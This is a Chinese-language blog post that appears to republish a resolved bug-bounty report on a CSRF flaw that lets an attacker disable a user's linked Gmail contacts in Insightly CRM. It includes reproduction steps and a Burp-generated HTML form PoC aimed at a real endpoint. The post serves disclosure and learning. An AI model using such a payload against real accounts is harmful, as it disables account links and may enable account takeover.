CSRF漏洞分析:攻击者可禁用Gmail联系人链接

本文详细分析了Insightly平台存在的CSRF漏洞,攻击者可通过构造恶意请求禁用用户的Gmail联系人链接,包含完整的漏洞复现步骤、PoC代码和影响分析,最终漏洞被修复并获得赏金。

CSRF漏洞允许禁用用户推荐功能的Gmail联系人链接

漏洞概述

当用户通过https://crm.na1.insightly.com/users/referrals添加推荐到其账户时,会获得链接账户的ID。当用户在"连接应用设置"中尝试禁用链接账户时,端点https://crm.na1.insightly.com/users/usersettings会发送包含ID的请求到https://crm.na1.insightly.com/Users/GoogleDisable/2023554

该易受攻击的端点允许认证用户更改与其账户关联的电子邮件地址并移除(禁用)它,但未充分验证请求是否由用户有意执行(例如通过检查HTTP头值)。

复现步骤

  1. 需要两个账户确认问题:账户A和账户B
  2. 访问https://crm.na1.insightly.com/users/referrals并为两个账户添加Google推荐
  3. 链接账户将有两个不同的ID
  4. 从账户A访问https://crm.na1.insightly.com/users/usersettings尝试禁用链接账户,并使用Burp代理捕获请求
  5. 使用禁用请求生成PoC
  6. 当从账户B打开链接时,漏洞将被利用

概念验证(PoC)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://crm.na1.insightly.com/Users/GoogleDisable/2026462">
      <input type="hidden" name="_pjax" value="#main" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

当发送请求时,ID将自动更改,因此受害者的链接账户将被禁用。

影响

攻击者可利用此漏洞禁用账户链接或通过将账户与攻击者控制的地址关联来接管账户,然后执行密码重置。为了使攻击成功,目标用户账户必须与未确认的电子邮件地址关联,且目标用户必须在登录时访问攻击者控制的网站。

时间线

  • 2022年8月13日:漏洞报告提交
  • 2023年10月25日:获得赏金并开始重测
  • 2024年1月4日:漏洞修复完成,奖励50美元
  • 2025年8月20日:报告公开披露

漏洞状态

  • 状态:已解决
  • 严重性:中等(4.2)
  • 弱点:跨站请求伪造(CSRF)
  • 赏金:已支付
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计